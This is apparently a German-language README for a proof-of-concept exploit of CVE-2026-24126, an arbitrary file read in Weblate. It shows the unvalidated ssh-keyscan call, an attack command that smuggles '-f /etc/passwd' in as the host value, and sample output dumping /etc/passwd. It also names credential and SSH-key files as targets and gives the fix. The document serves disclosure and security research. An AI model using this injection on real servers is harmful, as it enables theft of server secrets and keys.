
Proof-of-Concept-Exploit für CVE-2026-24126, ein beliebiges Dateilesen in Weblate über SSH-Host-Argument-Injection, das authentifizierten Administratoren das Lesen von Serverdateien ermöglicht.
Entdeckt von: Alejandro Baño · Januar 2026 Bestätigt von: Weblate 5.16 Versionshinweise
Weblates Endpunkt zur Verwaltung von SSH-Host-Schlüsseln übergibt den vom authentifizierten Administrator bereitgestellten Parameter host direkt an ssh-keyscan, ohne jegliche Bereinigung oder Argumentvalidierung. Da ssh-keyscan das Flag -f <file> akzeptiert, um Ziel-Hostnamen aus einer Datei zu lesen, kann ein Angreifer mit Administrator-Anmeldedaten dieses Flag als Host-Wert einschleusen und den Server dazu zwingen, eine beliebige lokale Datei zu öffnen. Die resultierende Fehlerausgabe (oder stdout) wird wörtlich im Browser innerhalb eines Fehlermeldungsblocks wiedergegeben und gibt so den Inhalt der Datei preis.
| Feld | Wert |
|---|---|
| Ziel | Weblate (selbst gehostete Instanzen) |
| Komponente | SSH-Schlüsselverwaltung — weblate/ssh/views.py · add_host_key() |
| Authentifizierung erforderlich | Ja — Weblate-Administratorkonto |
| Betroffene Versionen | Alle Versionen ≤ 5.15.2 (getestet in 5.0.2 und 5.15.2) |
| Auswirkung | Beliebiges lokales Dateilesen als der Benutzer des Webserver-Prozesses (weblate, www-data usw.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplified
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host is appended with no validation
result = subprocess.run(cmdline, ...)
Der Wert host stammt direkt aus dem POST-Body-Feld host, ohne Allowlist, ohne Entfernung führender Bindestriche und ohne ---Argumentabschluss vor dem benutzerseitig bereitgestellten Wert. Dadurch kann ein Angreifer ein beliebiges ssh-keyscan-Flag einschleusen.
ssh-keyscan -f /etc/passwd liest /etc/passwd als Liste von Hostnamen, kann jede Zeile nicht auflösen und erzeugt für jede eine Fehlerausgabe. Diese Fehlerausgabe wird durch den CalledProcessError-Handler weitergeleitet und innerhalb eines alert-danger-Blocks in der HTTP-Antwort angezeigt.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Flag | Beschreibung |
|---|---|
-r / --rhost | Basis-URL der Weblate-Instanz |
-u / --username | Administrator-Benutzername |
-p / --password | Administrator-Passwort |
-f / --file | Pfad zur Datei, die auf dem Server gelesen werden soll |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...
[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished
Jede Datei, die für den Betriebssystembenutzer lesbar ist, der Weblate ausführt (typischerweise der Benutzer weblate), kann durch eine einzige authentifizierte POST-Anfrage exfiltriert werden. Zu den sensiblen Zielen gehören:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaAktualisieren Sie auf Weblate 5.16.0 oder höher. Dies ist der offizielle Fix, der vom Weblate-Team am 18. Februar 2026 veröffentlicht wurde und eine ordnungsgemäße Eingabevalidierung für das SSH-Host-Feld einführte.
Dieses Repository ist ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bestimmt. Verwenden Sie dieses Tool nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.